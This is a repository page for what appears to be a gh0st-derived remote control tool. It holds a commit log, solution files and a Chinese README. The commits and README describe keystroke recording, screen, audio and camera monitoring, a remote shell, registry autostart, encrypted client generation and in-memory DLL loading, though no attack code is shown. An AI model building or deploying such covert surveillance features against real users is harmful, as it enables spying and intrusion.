129 Commits

Author SHA1 Message Date
yuanyuanxiang
76605f3e1f Merge pull request #87 from yuanyuanxiang/dev
fix: Some files were ignored by Git
2025-04-21 04:00:36 +08:00
yuanyuanxiang
323500dc90 fix: Some files were ignored by Git 2025-04-21 03:59:45 +08:00
yuanyuanxiang
ba56029aca Merge pull request #86 from yuanyuanxiang/dev
Release v1.0.8
2025-04-21 03:57:36 +08:00
yuanyuanxiang
72d835f257 Release v1.0.8 2025-04-21 03:52:10 +08:00
yuanyuanxiang
b4bc266ac6 Merge pull request #85 from yuanyuanxiang/dev
Implement a memory DLL runner
2025-04-21 03:00:15 +08:00
yuanyuanxiang
ca8ff799ef Implement a memory DLL runner 2025-04-21 02:51:41 +08:00
yuanyuanxiang
843faf079c Merge pull request #84 from yuanyuanxiang/dev
Improvement: Add serial number generate menu
2025-04-20 21:28:53 +08:00
yuanyuanxiang
e9b0be2761 Improvement: Add serial number generate menu 2025-04-20 21:24:31 +08:00
yuanyuanxiang
93d54d55a7 Merge pull request #83 from yuanyuanxiang/dev
Add static ffmpeg libraries to build Win64 master
2025-04-19 21:07:01 +08:00
yuanyuanxiang
fbd3bcdab6 Add static ffmpeg libraries to build Win64 master 2025-04-19 21:04:11 +08:00
yuanyuanxiang
238d6d5bd2 Merge pull request #82 from yuanyuanxiang/dev
Implement service-generated authorization capability
2025-04-17 02:23:51 +08:00
yuanyuanxiang
c6f70136e1 Implement service-generated authorization capability 2025-04-17 01:42:38 +08:00
yuanyuanxiang
21d533f7fc Merge pull request #81 from yuanyuanxiang/dev
share host with other programs, add commands and `HPSocket` #79 #80
2025-04-16 19:40:57 +08:00
yuanyuanxiang
6c4663751a share host with other programs, add commands and HPSocket #79 #80 2025-04-16 15:27:06 +08:00
yuanyuanxiang
fa9f111511 Merge pull request #78 from yuanyuanxiang/perf
Improvement: Prepare for optimization of online capacity
2025-04-12 16:54:42 +08:00
yuanyuanxiang
72459de00e Improvement: Prepare for optimization of online capacity 2025-04-12 16:48:09 +08:00
yuanyuanxiang
69afaf19c0 Merge pull request #77 from yuanyuanxiang/dev
fix: #62 #74 and #75
2025-04-07 21:40:24 +08:00
yuanyuanxiang
29a324404f fix: #62 Text length limit for CEdit is 30000 2025-04-07 21:35:08 +08:00
yuanyuanxiang
db76967a37 fix: #75 GDXI screenshot crashes when screen is off 2025-04-07 14:21:42 +08:00
yuanyuanxiang
2d54b0f63d fix: #74 The remote desktop window closes randomly 2025-04-07 14:07:25 +08:00
yuanyuanxiang
9bc2cd4307 Merge pull request #73 from yuanyuanxiang/dev
Development of a simple Linux Client
2025-04-06 20:06:27 +08:00
yuanyuanxiang
7a6b57917a fix: #71 Development of a simple Linux Client 2025-04-06 19:58:14 +08:00
yuanyuanxiang
9475e59887 Improvement: #72 Input command is always at the end of Shelldlg 2025-04-06 16:23:10 +08:00
yuanyuanxiang
13288b5c4e fix: #70 Do not pack the client program with UPX 2025-04-06 01:56:27 +08:00
yuanyuanxiang
80aff857d2 Release v1.0.7 2025-04-05 21:21:02 +08:00
yuanyuanxiang
2b7b69917e Merge pull request #69 from yuanyuanxiang/dev
Move header parsing code to `CONTEXT_OBJECT`
2025-04-05 20:23:39 +08:00
yuanyuanxiang
1ab05c0aaa Move header parsing code to CONTEXT_OBJECT 2025-04-05 20:19:57 +08:00
yuanyuanxiang
d789d1c14c Merge pull request #68 from yuanyuanxiang/bugFix
fix: #63 Creating folder in file dialog leads 64bit master crash
2025-04-02 23:06:59 +08:00
yuanyuanxiang
4f00cbfd6a fix: #63 Creating folder in file dialog leads 64bit master crash 2025-04-02 21:12:14 +08:00
yuanyuanxiang
f7abd398a4 Merge pull request #67 from yuanyuanxiang/bugFix
fix: #64 Size of MSG is different on Win32 and Win64
2025-04-01 03:59:39 +08:00
yuanyuanxiang
1492ef4bd2 fix: #64 Size of MSG is different on Win32 and Win64 2025-04-01 03:57:38 +08:00
yuanyuanxiang
53f2bbed73 fix: #51 Different function calling convention 2025-03-30 20:18:18 +08:00
yuanyuanxiang
0ec02402e3 fix: Dragging file leads to server crash #53 2025-03-30 20:11:01 +08:00
yuanyuanxiang
2dbdc1860f Merge pull request #66 from yuanyuanxiang/dev
Screen image transmission uses H.264 compression #65
2025-03-30 19:52:10 +08:00
yuanyuanxiang
1358fecc7c Screen image transmission uses H.264 compression #65 2025-03-30 19:44:02 +08:00
yuanyuanxiang
6b2497b157 Making master compatible with the v1.0.6 client #61 2025-03-15 21:37:23 +08:00
yuanyuanxiang
07e1cbe814 fix: #52 Can't identify Windows 11 2025-03-15 04:36:50 +08:00
yuanyuanxiang
be1db96698 Merge pull request #60 from yuanyuanxiang/dev
Improve screen spy efficiency with DXGI
2025-03-15 04:16:39 +08:00
yuanyuanxiang
7bcf11ce0a Improve screen spy efficiency with DXGI 2025-03-15 04:12:33 +08:00
yuanyuanxiang
614cc8c0b4 Merge pull request #58 from yuanyuanxiang/feat_kb
feature: Add keyboard record feature #50
2025-03-11 19:06:18 +08:00
yuanyuanxiang
0d6d171909 feature: Add keyboard record feature 2025-03-11 18:54:33 +08:00
yuanyuanxiang
ac2d54a706 fix: #56 Do not operate UI in working threads 2025-02-25 03:43:15 +08:00
yuanyuanxiang
269707b0d2 fix: #55 ZSTD context can't be used in multi threads 2025-02-25 03:20:32 +08:00
yuanyuanxiang
2e06d8f5ae fix: #34 Problems when enum services 2025-02-07 19:27:54 +08:00
yuanyuanxiang
52c5442bfd fix: #45 File dialog controls misalign when the screen is zoomed 2025-02-07 19:23:15 +08:00
yuanyuanxiang
1fce74e06e fix #46 Using ZSTD context to improve performance 2025-02-07 19:04:31 +08:00
yuanyuanxiang
2b9ef8e935 Support compile with Win64 2025-02-06 15:28:33 +08:00
yuanyuanxiang
80f277aa7f Move compress libraries to one place 2025-02-06 03:40:00 +08:00
yuanyuanxiang
914eefbb23 Update libraries and replace zlib with zstd #42 2025-01-15 18:49:15 +08:00
yuanyuanxiang
8ec3e83d31 feature: Add sorting feature for online list #41 2025-01-15 00:28:37 +08:00
yuanyuanxiang
0ef817af9c fix: Problems when enum services #34 2025-01-15 00:11:01 +08:00
yuanyuanxiang
4a89c3fbed fix: #40 Sending sound to the client can be enabled 2025-01-15 00:04:39 +08:00
yuanyuanxiang
16ef7c364a fix: #39 Duplicate file Audio.h and Audio.cpp 2025-01-15 00:02:12 +08:00
yuanyuanxiang
34c7287371 fix: #36 Operate clipboard cause program crash 2025-01-14 23:59:47 +08:00
yuanyuanxiang
483d090515 fix: #33 File gh0st2Remote.h can be merged 2025-01-14 23:55:37 +08:00
yuanyuanxiang
3b46ca4219 fix: #32 File qedit.h is too large but less usefull 2025-01-14 23:53:54 +08:00
yuanyuanxiang
0989cae803 fix: #30 Don't open window when there's no camera 2025-01-14 23:47:43 +08:00
yuanyuanxiang
816385e9c8 Release stable version 1.0.6 2025-01-12 06:20:21 +08:00
yuanyuanxiang
1694cabd39 feature: #27 Support sorting for service list 2025-01-12 03:50:07 +08:00
yuanyuanxiang
c58a9dbe73 fix: #29 Bit Depth 32 will cause program crash 2025-01-12 03:32:16 +08:00
yuanyuanxiang
97edc611c7 fix: #28 Fatal error when deconstruct CScreenManager 2025-01-12 03:29:50 +08:00
yuanyuanxiang
1942f499e3 feature: #26 Support sorting for processes and windows 2025-01-10 00:39:50 +08:00
yuanyuanxiang
077df93a68 fix: #25 Using delete[] to free LocalAlloc memory 2025-01-10 00:21:28 +08:00
yuanyuanxiang
c597af3335 fix: Hidden bugs in IOCPClient and CTalkManager 2025-01-01 18:57:48 +08:00
yuanyuanxiang
66923b8807 feat: Support XOR encrypt for generating service 2025-01-01 04:54:27 +08:00
yuanyuanxiang
9561a5d09d fix: Max connection limit not applied 2024-12-31 03:24:34 +08:00
yuanyuanxiang
943c269700 Merge pull request #24 from yuanyuanxiang/bugFix
Fix OVERLAPPEDPLUS memory leak and  Support `rundll32.exe`
2024-12-30 00:16:22 +08:00
yuanyuanxiang
01d11f5fa3 fix: OVERLAPPEDPLUS memory leak when exit controller 2024-12-29 23:42:29 +08:00
yuanyuanxiang
37d96a7f66 improve: Click close button to hide application 2024-12-29 23:42:29 +08:00
yuanyuanxiang
7df66348b3 feat: Support rundll32.exe to call ServerDll.dll 2024-12-29 23:41:58 +08:00
yuanyuanxiang
cba61fab7e Merge pull request #23 from yuanyuanxiang/bugFix
Rename `ReadMe.txt` to `ReadMe.md`
2024-12-29 17:30:36 +08:00
yuanyuanxiang
aacae8d348 Rename ReadMe.txt to ReadMe.md 2024-12-29 17:28:44 +08:00
yuanyuanxiang
d4b6d48bc1 fix: Duplicate client in the Online list 2024-12-29 03:33:04 +08:00
yuanyuanxiang
83849e688f feat: Add showing client type feature 2024-12-29 01:09:06 +08:00
yuanyuanxiang
7a2248f2cf Merge pull request #22 from yuanyuanxiang/bugFix
fix big package bug and add new features
2024-12-28 21:48:54 +08:00
yuanyuanxiang
8aa42d5db2 feat: Update client build and add remote update feature 2024-12-28 21:38:36 +08:00
yuanyuanxiang
48260b367f fix: Client receiving big package failed 2024-12-28 17:14:31 +08:00
yuanyuanxiang
079443d48f feat: Add showing client version and start time 2024-12-28 04:34:54 +08:00
yuanyuanxiang
9617694d14 Merge pull request #21 from yuanyuanxiang/bugFix
reorg: Move commands to common/commands.h
2024-12-27 19:53:22 +08:00
yuanyuanxiang
97ee5bc26f reorg: Move commands to common/commands.h 2024-12-27 19:51:47 +08:00
yuanyuanxiang
a2975d9471 solve some issues according to code analysis result 2024-12-27 19:48:12 +08:00
yuanyuanxiang
cdded1687d Merge pull request #20 from yuanyuanxiang/bugFix
fix #19: server application crash
2024-12-26 22:01:07 +08:00
yuanyuanxiang
e69f18d576 fix: showing the wrong host quantity in status bar 2024-12-26 21:58:44 +08:00
yuanyuanxiang
0c0c24534b fix: #19 the CBuffer causing server crash 2024-12-26 21:37:27 +08:00
yuanyuanxiang
5b86910cb2 fix: client threads number excceeding bug 2024-12-24 21:19:04 +08:00
yuanyuanxiang
727bbd395b file: add 2019Remote.sln 2024-09-14 02:22:23 +08:00
yuanyuanxiang
3d0e7f7573 fix: crash when processing REG_DWORD and REG_BINARY 2024-09-14 02:19:33 +08:00
yuanyuanxiang
0d6c64f87b IDE: 升级为使用Visual Studio 2019编译 2024-09-06 15:59:24 +08:00
yuanyuanxiang
225c7e0318 style: 更新zlib为不带ASMINF编译的静态库 2021-03-14 20:55:22 +08:00
yuanyuanxiang
2c870f1952 fix: 文件管理对话框SetPaneText崩溃,传输故障 2021-03-14 19:54:52 +08:00
yuanyuanxiang
0a6641baec fix: 被控端无摄像头时引发的被控程序崩溃问题 2021-03-14 17:56:23 +08:00
yuanyuanxiang
a43386d181 feature: TestRun读配置失败后再从命令行获取IP和端口信息 2021-03-14 17:52:13 +08:00
yuanyuanxiang
833b0347c1 fix: #3 and #13 2021-03-14 12:15:53 +08:00
yuanyuanxiang
2ffa2534f1 fix: IOCPServer::StartServer and IOCPClient::WorkThreadProc 2021-03-14 11:44:56 +08:00
yuanyuanxiang
919afb5311 fix: issue #9 2020-03-17 18:28:26 +08:00
yuanyuanxiang
fa383037a4 style: 整理远程桌面代码 2019-09-07 13:55:09 +08:00
yuanyuanxiang
5a7145a5ac style:解决采用VS2015编译时某些项目不通过的问题 2019-08-25 10:06:31 +08:00
yuanyuanxiang
fdee9b88c2 新增VS2015项目文件及解决方案文件。 2019-05-14 21:01:03 +08:00
yuanyuanxiang
a48a5fcfb9 自动调整远程桌面传屏速率 2019-05-11 11:28:58 +08:00
yuanyuanxiang
7005d80ead 优化左键点击Yama托盘图标的效果 2019-05-08 11:47:55 +08:00
yuanyuanxiang
e31c88b59c 修改默认主机
修改未读取配置文件或读取出错时的远程主机信息。
2019-05-07 22:09:32 +08:00
yuanyuanxiang
e234b37279 添加对域名的解析功能。 2019-05-07 20:27:02 +08:00
yuanyuanxiang
b8249a241c 编译采用"Visual Studio 2012 - Windows XP (v110_xp)"
所有项目均采用平台工具集"Visual Studio 2012 - Windows XP
(v110_xp)",以支持在XP上运行。因此,2019年4月30日的修改被回退或撤销。
2019-05-06 23:15:24 +08:00
yuanyuanxiang
fb01dee4dd 添加提示
当TestRun、ClientDemo运行时若未成功加载ServerDll.dll,则给出提示。
2019-05-06 21:11:49 +08:00
yuanyuanxiang
a58c105d55 编译器升级为VS2015
升级全部项目采用Visual Studio Community 2015编译。
2019-04-30 14:06:02 +08:00
yuanyuanxiang
60a9cf202c TestRun提升权限
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
2019-04-20 11:01:09 +08:00
yuanyuanxiang
60a59b8dd5 音频相关的1处缺陷修复
1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。
2、CAudio的线程waveInCallBack在while循环有一处return,已改为break.
2019-04-19 11:02:18 +08:00
yuanyuanxiang
953d298c1c 区分开退出主控端和被控端2个消息
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。
明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
2019-04-15 16:24:32 +08:00
yuanyuanxiang
ab7259edda ghost支持XP 2019-04-04 16:58:45 +08:00
yuanyuanxiang
1f03c14fee 修复操作系统上报不准确的问题
主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
2019-03-29 10:40:08 +08:00
yuanyuanxiang
188d5cd24a 无重要更新
新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
2019-03-25 22:25:14 +08:00
yuanyuanxiang
b8ab695e5e 修改rc文件
将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
2019-03-24 21:47:46 +08:00
yuanyuanxiang
74c4266eb7 发布V1.0.0.4 2019-02-04 17:49:59 +08:00
yuanyuanxiang
fd62f33e60 非代码修改
清理垃圾注释、整理不良排版,对代码略有改动。
2019-02-04 14:49:11 +08:00
yuanyuanxiang
1e7cbcbf5c 解决打开远程视频卡住的问题 2019-01-26 14:50:59 +08:00
yuanyuanxiang
91428795e6 准备分布v1.0.0.3 2019-01-26 14:05:37 +08:00
yuanyuanxiang
af63166fbe 解决语音监听对话框不更新状态的问题
修复语音监听对话框显示已收到数据不更新状态的问题。
发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
2019-01-26 11:53:11 +08:00
yuanyuanxiang
be45b5bd89 完善录制被控端视频的功能
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
2、添加/完善录制远程被控端视频的功能。
2019-01-26 10:35:10 +08:00
yuanyuanxiang
bd7b9ed492 减少捕获音视频时申请内存次数
减少音频视频捕获过程中频繁申请内存。
2019-01-22 20:44:23 +08:00
yuanyuanxiang
4283a31e66 减少远程桌面new的频次
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
2019-01-21 21:04:17 +08:00
yuanyuanxiang
5aadfc13a6 完善远程控制追踪鼠标 2019-01-20 20:04:11 +08:00
yuanyuanxiang
e4793a489e 因为易崩而弃用lz4
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃,原因不明。

2、修复内存泄漏缺陷,在throw "Bad Buffer"的情况需要释放申请的内存。
2019-01-19 23:26:05 +08:00
yuanyuanxiang
b573baed0b 发布V1.0.0.2 2019-01-18 17:37:15 +08:00
yuanyuanxiang
38c0c1ccdb 修复语音监听模块的问题 2019-01-17 21:14:02 +08:00
yuanyuanxiang
78623390b2 修复远程桌面跟踪鼠标不准的问题
添加比zstd更快的压缩库lz4。
2019-01-17 20:41:51 +08:00
yuanyuanxiang
16741545a9 采用比zlib更快的压缩库zstd
远程桌面帧率提高到12;补充上传zlib.lib。
2019-01-17 11:58:26 +08:00
yuanyuanxiang
c54d75505e 主控端退出时被控端也退出
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。

2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。

3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
2019-01-15 21:48:37 +08:00
yuanyuanxiang
c6e9a06a1a 根据代码分析进行少量修改 2019-01-13 13:36:00 +08:00
yuanyuanxiang
79903cbdff 彻底修复多次打开文件管理窗口崩溃的缺陷
1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。

2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。

3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
2019-01-13 13:13:59 +08:00
346 changed files with 63965 additions and 14423 deletions

3
.gitignore vendored
View File

@@ -27,7 +27,6 @@ Release
*.lai
*.la
*.a
*.lib
# Executables
*.exe
@@ -67,3 +66,5 @@ server/2015Remote/2015Remote.aps
*.suo
server/2015Remote.VC.db
server/2015Remote.opensdf
*.7z
*.ini

43
2015Remote.sln Normal file
View File

@@ -0,0 +1,43 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
ProjectSection(ProjectDependencies) = postProject
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x86 = Debug|x86
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

72
2019Remote.sln Normal file
View File

@@ -0,0 +1,72 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.35425.106
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
ProjectSection(ProjectDependencies) = postProject
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{70702583-26EE-47E0-9847-4D58F9449F4C}"
ProjectSection(SolutionItems) = preProject
history.md = history.md
ReadMe.md = ReadMe.md
使用方法.txt = 使用方法.txt
使用花生壳.txt = 使用花生壳.txt
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.ActiveCfg = Debug|x64
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.Build.0 = Debug|x64
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.ActiveCfg = Release|x64
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.Build.0 = Release|x64
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.ActiveCfg = Debug|x64
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.Build.0 = Debug|x64
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.ActiveCfg = Release|x64
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.Build.0 = Release|x64
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.ActiveCfg = Debug|x64
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.Build.0 = Debug|x64
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.ActiveCfg = Release|x64
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.Build.0 = Release|x64
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.ActiveCfg = Debug|x64
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.Build.0 = Debug|x64
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.ActiveCfg = Release|x64
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B1D72004-04EB-4DFF-879C-BCB05C75DFA4}
EndGlobalSection
EndGlobal

28
BmpDifference.m Normal file
View File

@@ -0,0 +1,28 @@
%
% MATLAB 8.1.0.604 (R2013a)
clear all;clc;
folder1=[pwd, '/client/bmp/']; %
folder2=[pwd, '/server/2015Remote/bmp/']; %
num1=numel(dir(fullfile(folder1, '*.bmp')));
disp([folder1, ' BMP file count: ', num2str(num1)]);
num2=numel(dir(fullfile(folder2, '*.bmp')));
disp([folder2, ' BMP file count: ', num2str(num2)]);
num = min(num1, num2);
missing = 0;
for i=1:num
file1 = sprintf('%sGHOST_%d.bmp', folder1, i);
file2 = sprintf('%sYAMA_%d.bmp', folder2, i);
if exist(file2, 'file') == 2
img1 = imread(file1);
img2 = imread(file2);
diff=double(img1)-double(img2);
s = sum(diff(:));
fprintf('BMP [%d] difference: %g\n', i, s);
else
fprintf('BMP [%d] difference: MISSING\n', i);
missing = missing + 1;
end
end
disp(missing);

149
ReadMe.md Normal file
View File

@@ -0,0 +1,149 @@
# 项目简介
**原始来源:** [zibility](https://github.com/zibility/Remote)
**功能概述:** 基于gh0st的远程控制器实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
如果您热爱研究控制程序喜欢本项目请您对该项目添加星标。Fork、Watch此项目提交Issues发起Pull Request都是受欢迎的。
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。
**起始日期**2019.1.1
## 主控程序
主控程序为**YAMA.exe**是Server端Release发布版本在单台电脑只能运行一个示例。
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
某些功能要求受控程序以管理员权限运行。
![主界面](./images/Yama.jpg)
主界面以列表形式展示连接到本机的受控程序。
选中某个主机以便进行远程控制。
![终端管理](./images/Console.jpg)
终端管理打开命令行窗口,可以执行远程命令。有一个[极简版本](./linux/main.cpp)已经支持Linux客户端供Linux开发者研究使用。
![进程管理](./images/Process.jpg)
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。
![窗口管理](./images/Window.jpg)
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。
![桌面管理](./images/Remote.jpg)
![桌面管理](./images/RemoteSet.jpg)
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
屏幕截图方法支持GDI或DXGI图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发但也是能支持的。
![文件管理](./images/FileManage.jpg)
文件管理即在本机和受控机器之间传输文件。
![语音管理](./images/Voice.jpg)
语音管理即监听受控机器的声音,需受控机器有声音输入设备。
![视频管理](./images/Video.jpg)
视频管理即打印受控机器的摄像头,需受控机器有摄像头。
![服务管理](./images/Service.jpg)
服务管理即打开受控机器上面的服务列表。
![注册表管理](./images/Register.jpg)
注册表管理即打开受控机器上面的注册表。
## Linux 客户端
![LinuxClient](./images/LinuxClient.png)
在[v1.0.8](./Releases/v1.0.8/ghost)目录下实现了一个Linux端受控程序当前只支持远程终端窗口。
![BuildDlg](./images/BuildDlg.jpg)
请在Linux环境编译得到客户端然后在生成服务端对话框选择该文件填写上线地址生成Linux端程序。
## 关于授权
![AuthDlg](./images/AuthDlg.jpg)
![PasswordGen](./images/PasswordGen.jpg)
当前对生成服务功能进行了限制需要取得口令方可操作。给新编译的程序14天试用期过期之后生成服务端需要申请"序列号"
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。
## 受控程序
![主界面](./images/TestRun.jpg)
受控程序是Client端分为2种运行形式"类型"):单个程序 **1** ghost.exe和 **2** TestRun.exe+ServerDll.dll形式。
1单个程序运行时不依赖其他动态链接库而第2种情况运行时由EXE程序调用核心动态链接库。
注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起,
`TestRun.exe`将采取内存加载DLL运行方式向主控程序请求DLL并在内存中执行这有利于代码的热更新。
# 更新日志
2025年以前的变更记录参看[history](./history.md)
2025.01.12
